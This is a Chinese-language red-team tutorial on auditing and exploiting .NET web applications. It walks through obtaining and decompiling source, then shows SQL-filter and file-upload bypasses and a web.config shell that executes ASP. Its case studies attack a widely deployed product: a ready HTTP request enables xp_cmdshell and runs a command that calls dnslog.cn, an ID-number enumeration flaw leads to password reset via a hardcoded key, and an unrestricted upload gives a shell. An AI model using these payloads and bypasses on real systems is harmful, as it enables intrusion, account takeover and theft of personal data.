前言

在红队攻防对抗中,.NET系统是出现频次比较高,.NET系统由于其架构特性,通常会将业务逻辑封装在DLL程序集中,通过ASPX/ASHX等页面文件进行调用。这种架构使得我们能够通过反编译技术快速还原源代码,结合静态代码审计和动态测试,快速定位SQL注入、命令执行、文件上传、反序列化等常见高危漏洞。本文将围绕获取源码、反编译、漏洞快速定位、绕过技巧和实战案例来帮助师傅们快速在红队场景中挖掘0day


源码获取

凌风云网盘

https://www.lingfengyun.com/

image-20251114112536506

闲鱼购买

image-20251114182742070

指纹提取旁站扫描备份文件

指纹提取 body=”xxxx” + 压缩文件目录扫描 (指定文件名www.zip)

image-20251114182938592

反编译dll+去混淆

反编译 / 静态查看:ILSpy、dnSpy、dotPeek

dnSpy单个打开并导出到工程

image-20251114112235094

使用dnSpy批量打开:

1
2
File -> Open -> 选择整个 bin 目录
dnSpy会自动加载所有程序集

使用ILSpy命令行:

1
2
3
4
5
6
7
8
# 安装 ilspycmd
dotnet tool install ilspycmd -g

# 反编译整个目录
ilspycmd -p -o output_dir .\bin\*.dll

# 反编译到单个文件
ilspycmd -p -o output.cs .\bin\YourApp.dll

使用脚本批量反编译:

把下面的代码保存为bat文件,放到bin目录下,该bat脚本会在每个DLL所在目录下创建一个与 DLL 同名的文件夹

(例如 C:\xxx\lib\test.dllC:\xxx\lib\test\),并将 ilspycmd 的输出写入该文件夹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@echo off
chcp 65001
setlocal enabledelayedexpansion

REM 从当前目录递归查找所有 dll
for /R %%F in (*.dll) do (
REM %%F = 完整路径(含文件名和扩展名)
set "dll_path=%%F"
set "dll_name=%%~nF"
set "dll_dir=%%~dpF"
set "out_dir=%%~dpF%%~nF"

echo 正在导出 "%%F""!out_dir!\ ..."
if not exist "!out_dir!\" mkdir "!out_dir!"

ilspycmd -p -o "!out_dir!" "%%F"
)

echo 全部完成!
pause

去混淆 : 混淆后的代码可能会出现类似的片段:

1
2
3
4
5
private string \u0001;
private void \u0002(string \u0003)
{
if (this.\u0001 == \u0003)
}

处理混淆代码: 使用 de4dot 去混淆,下载程序添加至环境变量

https://github.com/0xd4d/de4dot

https://github.com/ViRb3/de4dot-cex

1
2
de4dot.exe source.dll -o Remove_obfuscated.dll
de4dot.exe -r D:\input -ru -ro D:\output

单个反编译太慢,我们可以使用命令或脚本进行快速批量去混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
import os
import subprocess
import shutil
from pathlib import Path
import time

def main():
print("🔧 快速de4dot批量反混淆工具")
print("=" * 40)
try:
result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5)
if result.returncode != 0:
raise Exception("de4dot命令执行失败")
print("✅ de4dot全局命令检查通过")
except Exception as e:
print(f"❌ de4dot全局命令不可用: {e}")
return

current_dir = Path(".")
dll_files = []
for pattern in ["*.dll", "*.exe"]:
dll_files.extend(current_dir.glob(pattern))

exclude_patterns = [
"System.", "Microsoft.", "Newtonsoft.", "EntityFramework",
"Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp",
"StackExchange.", "Thinktecture.", "BouncyCastle"
]
filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)]

if not filtered_files:
print("❌ 当前目录没有找到需要处理的DLL文件")
return

print(f"📁 找到 {len(filtered_files)} 个文件需要处理:")
for f in filtered_files:
print(f" - {f.name}")

output_dir = Path("deobfuscated")
output_dir.mkdir(exist_ok=True)
print(f"\n🚀 开始处理...")
print(f"输出目录: {output_dir.absolute()}")

success_count = 0
start_time = time.time()
for i, dll_file in enumerate(filtered_files, 1):
print(f"\n[{i}/{len(filtered_files)}] 🔄 处理: {dll_file.name}")
try:
output_subdir = output_dir / dll_file.stem
output_subdir.mkdir(exist_ok=True)
cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)]
print(f" 执行: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
if result.returncode == 0:
print(f" ✅ 成功: {dll_file.name}")
success_count += 1
else:
print(f" ❌ 失败: {dll_file.name}")
except subprocess.TimeoutExpired:
print(f" ⏰ 超时: {dll_file.name}")
except Exception as e:
print(f" ❌ 异常: {dll_file.name} - {e}")

end_time = time.time()
print(f"\n📊 处理完成! 成功 {success_count}/{len(filtered_files)} 个, 耗时 {end_time - start_time:.1f} 秒")
print(f"输出目录: {output_dir.absolute()}")
print("\n🎉 批量反混淆完成!")

if __name__ == "__main__":
main()

image-20251022103528196

去混淆前后对比

image-20251010154434623

ashx和dll映射关系

AjaxUpload.aspx,逻辑代码在 AjaxUpload.aspx.cs,页面会继承 M_Main.AjaxUpload 类,并自动绑定事件

image-20251024164150928

这时候我们反编译 M_Main.dll,并找到对应的AjaxUpload类,便可以开始愉快的代码审计了

image-20251024164539667

image-20251024172215286

常见漏洞sink点

漏洞类型 漏洞Sink点 审计描述
SQL 注入 ExecuteNonQuery(), ExecuteReader(), ExecuteScalar(), SqlDataAdapter.Fill(), ExecuteSqlCommand(), ExecuteSqlRaw(), CreateSQLQuery(), connection.Query() 检查点:查找 SQL 语句是否通过字符串拼接或格式化(+, String.Format, $"")将 Request/Query/Form/Cookie 等直接插入。
命令执行(RCE) Process.Start(), ProcessStartInfo.FileName, ProcessStartInfo.Arguments 检查点:是否把用户输入拼接到命令或传给 shell/PowerShell, FileNameArguments 是否来自外部
文件上传 / 任意文件写入 SaveAs(), WriteAllBytes(), WriteAllText(), FileStream.Write() 检查点:是否校验扩展名、MIME、内容类型、文件名(路径分隔符)、以及保存目录权限;是否防止覆盖已有文件,上传可执行脚本(.aspx/.ashx)getshell
反序列化 BinaryFormatter.Deserialize(), SoapFormatter.Deserialize(), JsonConvert.DeserializeObject(), LosFormatter.Deserialize() 检查点:反序列化是否对不可信输入(Request、Cookie、ViewState、文件等)执行;是否使用不安全的序列化库(BinaryFormatter、SoapFormatter)
任意文件读取 File.ReadAllBytes(), File.ReadAllText(), Response.WriteFile(), Response.TransmitFile(), File() 检查点:是否将用户参数直接作为文件路径输出或读取;是否存在未做路径合法化的文件下载接口。
路径遍历 Server.MapPath(), Path.Combine(), File.Delete(), Directory.GetFiles() 检查点:路径拼接是否包含未过滤的用户输入;Path.Combine 后是否做规范化校验。
XXE(XML External Entity) XmlDocument.LoadXml(), XmlDocument.Load(), XmlReader.Create(), DataSet.ReadXml() 检查点:XML 解析是否启用了外部实体解析(DTD);是否解析来自不受信任来源的 XML。
SSRF WebClient.DownloadString(), HttpClient.GetAsync(), WebRequest.Create(), HttpClient.PostAsync() 检查点:是否允许用户指定 URL 并由服务器发起请求;是否对目标地址做白名单或内部地址检测。
远程文件下载 WebClient.DownloadFile()、HttpClient.GetStreamAsync()、HttpClient.GetByteArrayAsync() 检查点:是否允许用户提供远程文件 URL(例如通过参数、表单、配置等输入),是否存在任意文件写入风险(保存路径是否可控、是否拼接了用户输入

未授权访问

检查默认路由暴露

  • 默认路由 {controller}/{action}/{id} 会将所有 public action 暴露出来
  • 查找未授权用户访问敏感控制器/方法,列出所有 Controller 和 public Action,与路由匹配,判断是否有不应暴露的接口
1
2
3
4
5
6
7
8
9
10
var controllerTypes = typeof(MvcApplication).Assembly.GetTypes()
.Where(t => t.IsSubclassOf(typeof(Controller)));

foreach (var ctrl in controllerTypes)
{
var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance)
.Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult));

Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");
}

ASMX公开访问

ASMX是一种用于创建 Web 服务的技术,公开未授权的 .asmx 方法可能允许读取或写入敏感数据(例如 GetUserResetPasswordUploadFile

  • 黑盒:目录扫描枚举 .asmx 文件名与常见服务名称,如service.asmxwebservice.asmxCommonService

image-20251022181856426

  • 白盒:利用命令dir /s /b *.asmx或者everything筛选出存在且能访问到的webservice服务

image-20251022112506514

https://github.com/SmartBear/soapui

soap发包,部分时候需要对内容进行html编码

image-20251022155719778

web.config查看 HTTP 处理器配置 (handlers)

1
2
3
4
<handlers>
<add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" />
<add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" />
</handlers>

分析方法:

  • path="ajax/*.ashx" → 表示 /ajax/*.ashx 路径可访问

  • path="scissors.axd" → 表示 /scissors.axd 路径可访问

  • verb="POST,GET"verb="*" → 表示支持的HTTP方法

[AllowAnonymous]

在ASP.NET中,当使用 [AllowAnonymous] 特性来标记控制器的 action 方法,以允许匿名访问, 即不需要进行身份验证

[Route("uploadAnony")]定义路由为 /uploadAnony

[AllowAnonymous]允许匿名访问,没有任何登录或鉴权验证,意味着前台能直接上传文件

[HttpPost]限定此接口仅响应 POST 请求,外部通过 POST /uploadAnony 即可访问此方法

1
2
3
4
5
6
7
8
9
10
[Route("uploadAnony")]
[AllowAnonymous]
[HttpPost]
public IHttpActionResult uploadAnony(string code)
{
HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()];
string A4 = A2[Class0.ahA()];
string B = A4.Split('.').ToList().Last();
A3.SaveAs(text);
}

image-20251024163229881

绕过技巧

SQL注入绕过

大多数系统会全局过滤SQL注入关键字,类似片段如下

image-20251024155010891

检测了以下关键字,当检测到会报错停止

1
exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--

image-20251024155105460

这时候我们就可以尝试fuzz未检测的关键字进行绕过,使用如下:

1
union, and, or, where, from, table, database, information_schema, waitfor, delay, sleep, benchmark, extractvalue, updatexml

除此以外,还可以使用以下方法进行绕过:

  • 大小写绕过:SelEct

  • 字符编码绕过:Unicode编码: 使用 %3C%3Fxml 等编码

  • 特殊字符绕过:使用 \t\n 替代空格、注释符: 使用 /* */ 等注释符

文件上传绕过

在 Windows 操作系统中,文件名末尾的点.通常被视为无效字符。当创建或保存文件时,Windows 会自动去除文件名末尾的点

1
2
3
4
5
6
7
8
9
string fileName = Path.GetFileName(fileUpload.FileName);
string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();
string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };

if (banned.Contains(fileExt))
{
Response.Write("不允许上传的文件类型");
return;
}

image-20251024161245979

403 Bypass绕过

存在任意⽂件上传漏洞,上传asp、aspx后,目录⽆法解析提示403禁⽌访问

image-20251114182511839

解决⽅案:上传web.config格式的shell⽂件,可解析成功

通过移除 .config 保护,将所有 .config 映射为可写入且可执行的 ASP 脚本,实现 IIS 对 .config 文件的完全脚本执行与写入权限放开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified"
requireAccess="Write" preCondition="bitness64" />
</handlers>

<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>

image-20251114113942919

实战案例1:虚拟路径映射+前台Sql注入

Fofa资产数量1500多,也算是个小通杀

image-20251016161855320

Web.config<httpHandlers> 节点中配置了以下可直接前台访问的 .ashx 文件:

这些路径通过 Web.config 中的 <httpHandlers> 节点配置,是虚拟路径映射,不需要物理文件存在

image-20251015191032157

文件位置:bin/xxxx/AppDataHandler.cs

image-20251016152554632

首先提供两个危险方法:

  • ExcuteNonQuerry - 执行 INSERT/UPDATE/DELETE 等操作
  • GetDataTableByText - 执行 SELECT 查询并返回结果
1
2
3
4
5
6
7
8
9
10
11
public void ProcessRequest(HttpContext context)
{
context.Response.Cache.SetCacheability(HttpCacheability.NoCache);
switch (context.Request["action"])
{
case "ExcuteNonQuerry":
ExcuteNonQuerry(context);
break;
case "GetDataTableByText":
GetDataTableByText(context);
break;

接口直接从请求参数中读取 cmdtext,用户提交的 cmdtext 参数直接作为 SQL 语句执行

1
string cmdText = context.Request["cmdtext"];

然后传入数据库执行,没有任何输入校验、SQL 拼接检查或白名单过滤

1
2
bool flag = iDDatabase.ExecuteNonQuery(cmdText);
DataSet dataSet = iDDatabase.GetDataSet(cmdText);

image-20251016154946577

执行命令还需要开启xpcmdshell,打开“显示高级选项”,然后将 xp_cmdshell 设置为 1

image-20251016115007305

1
2
3
4
5
6
POST /xxxxx/AppData.ashx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: XXX

action=ExcuteNonQuerry&cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'

后续要getshell,可以选择找前台资源路径写shell或者直接命令上线,就不详细赘述了

image-20251016163549245

实战案例2:重置密码+后台任意文件上传

通过ID越权获取身份证号

只检验id 是否存在,符合类型则返回结果,没有检查请求者是否为该 id 的拥有者或有权限访问该用户信息

image-20251022110507754

image-20251010170347626

身份证号重置密码

image-20251011165349158

  • 通过 gidcard 参数在 GUARDER 表中查找记录,如果不存在,返回错误信息
  • 接着再去验证 gurpass 是否正常解密
1
2
3
4
5
GUARDER gUARDER = base.IocBase.GUARDERService.Get((GUARDER o) => o.IDENTITYNO == gidcard);
if (gUARDER == null)
{
return HtmlHelpers.FailJsonResult("身份证号不存在!");
}

DesDecrypt 函数,硬编码 key = "123456"

1
2
3
4
5
6
7
string message = gurpass;
gurpass = des.DesDecrypt("123456", message);

public static string DesDecrypt(string key, string message)
{
return DES(key, HexToString(message), isEncrypt: false, 0, "");
}

整个gurpass解密过程大体如下

1
2
3
4
5
6
7
8
WeiXinController.DoResetGPwd()

des.DesDecrypt()
├─→ HexToString()
└─→ DES()
├─→ DES_CreateKey()
│ └─→ MoveByte()
└─→ MoveByte()

根据解密逻辑编写脚本进行加密

image-20251011205515069

image-20251010175413186

使用存在的身份证号成功重置密码

image-20251011164512959

后台任意文件上传

审计要点:

1
2
3
# 查找文件上传相关代码
grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/
grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/

image-20251016151621454

可以看到这里直接拼接路径回显,没有限制上传后缀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
private ResponseData UploadFiles(HttpContext context)
{
ResponseData responseData = new ResponseData();
string strErrorMsg;
List<Dictionary<string, string>> list = ReceiveFiles(context, AccessaryType.Customize, -1, out strErrorMsg);
// ...
}
{
if (context.Request.Files.Count > 0)
{
for (int i = 0; i < context.Request.Files.Count; i++)
{
HttpPostedFile httpPostedFile = context.Request.Files[i];
if (httpPostedFile.ContentLength > 0)
{
string extension = Path.GetExtension(httpPostedFile.FileName); // ❌ 未验证
string text3 = Guid.NewGuid().ToString() + extension;
httpPostedFile.SaveAs(text2 + text3); // ❌ 直接保存
}
}
}
}

但是这里 text2、text3是根据时间生成的路径不可控,如果想要getshell需要看该路径下是否能解析aspx、ashx

image-20251016152319275

幸运的是能解析

image-20251105183728473

如果像下面这种FilePathPathType由用户可控,getshell则容易许多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected void Page_Load(object sender, EventArgs e)
{
if (base.Request.Files["Filedata"] != null)
{
HttpPostedFile httpPostedFile = base.Request.Files["Filedata"];
string text = base.Request["FilePath"]; // 用户可控的路径

if (string.IsNullOrEmpty(text))
{
string text2 = base.Request["PathType"]; // 用户可控
if (string.IsNullOrEmpty(text2) || text2 == "Default")
{
text = $"Accessary/{DateTime.Today.Year:D4}/{DateTime.Today.Month:D2}";
}
else
{
AccessaryType accessaryType = (AccessaryType)Enum.Parse(typeof(AccessaryType), text2, ignoeCase: true);
text = CGeneral.GetAccessaryDir(accessaryType);
}
}

或者是像这种路径拼接的,可以通过 ../../../ 进行路径遍历,写到前台可以访问解析的路径下

1
2
3
string folder = Request["folder"];
string path = Path.Combine("~/uploads/", folder, fileName);
file.SaveAs(Server.MapPath(path));